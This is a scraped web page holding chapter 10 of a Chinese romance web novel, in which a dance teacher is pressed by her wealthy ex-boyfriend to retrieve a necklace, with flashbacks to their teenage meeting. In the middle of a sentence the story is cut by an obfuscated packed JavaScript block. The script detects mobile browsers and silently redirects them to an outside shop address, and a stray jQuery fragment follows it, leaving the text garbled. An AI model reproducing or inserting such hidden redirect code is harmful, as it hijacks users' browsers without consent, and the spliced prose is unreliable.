文趣网 > 都市小说 > 爱上前任并不可耻 > 10. 第 10 章
    看到这则消息,周以茉像是被烫到一样,险些把手机扔开。

    她几乎不敢相信,这条消息是陈忌舟发来的。

    高中时期,由于陈忌舟豪门大少爷的身份,她也有幸体验了一把被人砸支票的感觉,当时来的人是陈家当家人,陈忌舟的爷爷陈霄。

    那个年过七十的老人面容苍老,却不掩浑身都威势,即便努力做了一副和蔼的模样,仍然让人感觉到他骨子里的居高临下。

    他甚至都没有亲手把支票给她,而是让一旁的助理交到她手里。两人分明就隔着一张长桌,那样的态度,无疑给了周以茉极大的震撼,她当时努力表现得平静和坦然,可破烂不堪的生活逼得她不得不妥协。

    那张支票兜兜转转,最后还是落到了她手里。

    支票的事,自然被一字不落地告诉了陈忌舟,于是在陈忌舟眼里,自己就是那样一个贪慕虚荣、见钱眼开的人。

    当然,要让陈忌舟熄灭那一腔赤诚热烈的欢喜,不仅仅是因为这一件事。但归根结底,这个坏印象是导火索。所以看清楚“真面目”的陈忌舟,当年才会那样决绝。

    她搞砸了少年第一次青涩的爱恋,隔了这么多年,他居然让她去把那条项链拿回来?

    周以茉心底忐忑,第一时间就是不敢置信,觉得陈忌舟是忍不下那口恶气,九年过去了都还意难平,把她喊过去报复她。毕竟陈忌舟向来事事称心如意,顺风顺水,偏偏在她这里碰了壁,一身锐气尽数折损。

    但她刚刚在车上厚着脸皮索要项链,本意是打算继续维持自己的“人设”,彻底断了和陈忌舟的关系。

    十年前她和陈忌舟身份云泥之别,更遑论现在,一个是身价不菲的顶级豪门继承人,一个是籍籍无名的舞蹈老师,社会地位愈发悬殊。

    如果被陈家人知道,自己又和陈忌舟有了交集……

    周以茉咬了下唇,她知道,自己该有分寸感,不属于她的世界,她不会强行闯进去。

    可如今陈忌舟让她去取项链,自己不去,可又是自己主动讨要的项链,完全崩人设了,肯定会引起他的怀疑。

    周以茉:“……”

    有点搬起石头砸自己的脚了。

    她为什么非要提这一嘴呢?老老实实下车多好啊!

    这么多年过去了,陈忌舟也成了陈氏集团总裁,肯定成熟了,稳重了,年轻时的一点小挫折说不定早已经忘光了。些许风霜,没准还锻炼了他的心志,让他长了教训,更加擦亮眼睛谈恋爱呢?

    周以茉垂着眼睛,紧抿的胭脂色唇瓣显露出她的纠结。

    要不装作没看到?

    陌生短信,被拦截了很正常吧?

    似乎是猜到了她的想法,手机震了一下,这个号码又发了一条短信过来。

    【已读不回?】

    周以茉心尖一颤,下意识抬头,四处张望了一下,意识到自己在家后,吐了一口气。

    她指尖点开对话输入框,还在字斟句酌,那边的消息很快又追了过来。

    【明天让人来接你,毕竟我扔垃圾没有让人买单的习惯。】

    周以茉:“……”

    垃圾。

    她视线定格在这两个字上,光是隔着屏幕,都能感觉到陈忌舟的阴阳怪气。

    但陈忌舟这样一反常态,几乎是上赶着逼迫她,更让她心里有了不好的预感。

    恐怕真要出口恶气,才能平复陈大少爷的心情。

    周以茉垂着卷翘长睫,戳了戳屏幕。

    【知道了。】

    周以茉有些恍神,莫名感觉这么多年过去了,陈忌舟还是那个拽天拽地,不开心就说话乱七八糟的骄矜小少爷。

    她又想到她对他的第一印象就是如此。

    当时陈忌舟初到青岚,放着大别墅不住,非得纡尊降贵地来住她家的民宿。

    民宿最开始并不是民宿,房子是她爸爸事业最盛的时候建的,主副两栋楼,花了大几百万,曾一度是青岚这个小县城的地标性建筑。只是后来破产了,父母身亡后,为了维持家用,被叔叔婶婶拿来该做民宿了。

    周以茉当时住在副楼一个狭窄且空气流通性差的小杂物间,而陈忌舟住在主楼,她曾经的卧室里,那间房间采光最好,视野最佳。

    每天晚上睡觉前,她都喜欢偷偷看一看那个房间。可那天晚上,一个少年闯进了她的视线中。

    穿着一件黑色T恤,勾勒出他还未长开,却已然初具挺拔轮廓的身形。

    他慵懒地倚在三楼的阳台上,黑色碎发有些凌乱地搭在额前,天色有些暗,看不清他的神情,但能看到他指尖夹着一支点燃的烟,猩红一点,白雾吞吐,那张深邃的面容愈发模糊。

    似乎是察觉到她的视线,少年忽然朝楼下看过来。

    周以茉来不及躲,手指还悬停在空中,两人视线相撞,同时一怔。

    随即少年缓缓眯起了眼,清润的唇似笑非笑地勾了下。几秒后,他抬手在自己耳侧晃了晃,周以茉只觉得浑身僵硬,脸颊发热,没注意他的动作,慌乱地拉上了窗帘。

    她心脏砰砰直跳,感觉有些丢脸,他不会以为自己是什么奇怪的人吧?

    她咬着唇,忐忑不安间,就听到周怡月暴躁地敲她的门:“有你的电话,你怎么回事,不去前台守着吗?电话都打这儿来了。小心我跟我妈说你偷懒不看店!”

    周以茉连忙开门,小声道:“我去接。”

    她匆匆跑去接电话。

    “喂?”

    电话那头安静了几秒,周以茉还以为对面没人时,一道清朗慵懒的嗓音响起。

    “啧,同学,怎么还偷看呐?”

    少年语调上扬,带着点戏谑,轻轻敲打着她的耳膜。周以茉莫名有些耳根发热,讷讷解释:“我不是……”

    “我不会进了什么奇怪的店吧?”少年慢悠悠地说着。

    周以茉憋着气,忍不住小声反驳道:“我们民宿很正规的……”

    “是吗?”少年意味不明地哼了一声。

    下一秒,话音一转:“那这儿怎么还没饭吃啊?”

    话题转变得太快,周以茉愣了一下,随即小心翼翼地问道:

    “你没吃晚饭吗?”

    “那可不,我左等右等,都不见有人送餐,可不是没吃晚饭呢。”

    他的语调有着一种很奇妙的韵律,懒洋洋的,尾音上扬,自带三分笑意,如果看不见他,还以为他心情愉悦,可周以茉知道,他裹着松针雪粒的嗓音是假象。

    这是个阴晴不定,脾气差的大少爷。

    “我们民宿不包吃。”周以茉解释道。

    婶婶厨艺并不好,菜的味道勉强入口,自然不敢给住客提供餐食。

    果不其然,少年有些躁地啧了声。

    陈忌舟也没想到,居然有酒店不供餐。

    他也是第一次住这样条件差的酒店。

    他被发配来青岚,衣食住行虽比不上京市,但也不会委屈他,毕竟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621007|206164||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他还是陈家目前唯一的小少爷。但陈忌舟一想到,自己住进那栋安排好的别墅,时刻被人监视着,他就不想让那些人如愿。

    周以茉抿了抿唇,小声道:“你可以出去吃。”

    民宿位置很好,周边有不少餐饮店,味道都很不错。

    少年想到京市,顿时心情不太好了,他舌尖抵着上颚,眼底的冷漠渐深,浓得像是化不开的墨。他耷拉着眉眼,顿觉无趣,带着股痞气地说道:“不去,饿死算了。”

    说完,就挂断了电话。

    当然,最后陈忌舟没被饿死。是周以茉领着他去吃了一碗面,那天是陈忌舟的生日,还被陈大少爷嫌弃是他过过最寒颤的生日。

    *

    翌日,周以茉简单吃过早餐后就出了门,但出了门才意识到陈忌舟说派人来接她,但没给她具体时间。

    她本还在纠结该不该发个消息询问陈忌舟,面前就缓缓停下一辆车。

    黑色卡宴低调奢华,在这破旧的街道格格不入。

    “……”

    周以茉心里都怀疑陈忌舟是在她身上装摄像头了。

    她往前走了几步,谨慎点,还是准备询问一下是否是陈忌舟派来的人。

    还不等她敲车窗,下一瞬,副驾驶的车窗徐徐降下,露出一张俊美冷淡的脸。

    周以茉神色一怔,没想到是陈忌舟亲自来了。

    陈忌舟姿态闲散地掌着方向盘,冷淡地斜睨着她。

    周以茉还以为他是亲自把项链送来了,安静地站在那儿,四目相对,两人都没开口。

    等了半晌,陈忌舟挑了下眉,不轻不重地反问:“一动不动养蘑菇呢?”

    这话一落,周以茉怔住了。

    和记忆中一模一样的话,只是语气少了少年的痞气,多了丝漫不经心地从容。

    从遇见陈忌舟之后,那些被她深埋在心底的记忆也渐渐开了有了鲜活的颜色。

    这很不好……

    周以茉深深吸了一口气,弯腰,轻声问道:“你不是来给我送项链的吗?”

    陈忌舟歪着脑袋,漆色的眸子看她一眼,神色莫名:“一条破项链我还得随身带着不成?”

    周以茉:“……”

    她认命地去拉后车座的门,拉了两下,拉不动。

    陈忌舟嗤笑一声,“真把我当司机了?”

    于是周以茉只能硬着头皮去拉副驾驶的车门,上了车后,垂头系安全带。

    低头的时候,眼角余光看到了一只泡泡玛特,是一只粉色的dimoo,穿着精致漂亮的毛茸茸针织背带裤。

    是新生日记系列里的一款。

    周以茉脑袋空白了一瞬,很明显是女孩子的东西。

    她指尖骤然攥紧安全带,九年过去了,他们之间改变了太多,她都没有问过他,是否结婚了……

    她装作不在意地扫了一圈车内,车厢并不大,空间有限,一览无余。

    越看,心越往下沉。

    车后座放着一只小提琴盒,小提琴盒上贴了好多漂亮可爱的贴纸。一旁还有一个零食架,上面摆了一些小蛋糕和糖果。

    他结婚了,还有了一个可爱的女儿……

    周以茉眨了眨眼睛,突然觉得今天的风好大,吹得眼睛发涩。

    她抠了抠安全带,小声问道:“你结婚了啊?”

    陈忌舟闻言,眉头骤然蹙起,脸色沉了下来,嗤了声,嗓音里裹着一丝难以察觉的愠气:“我和你结婚呢?”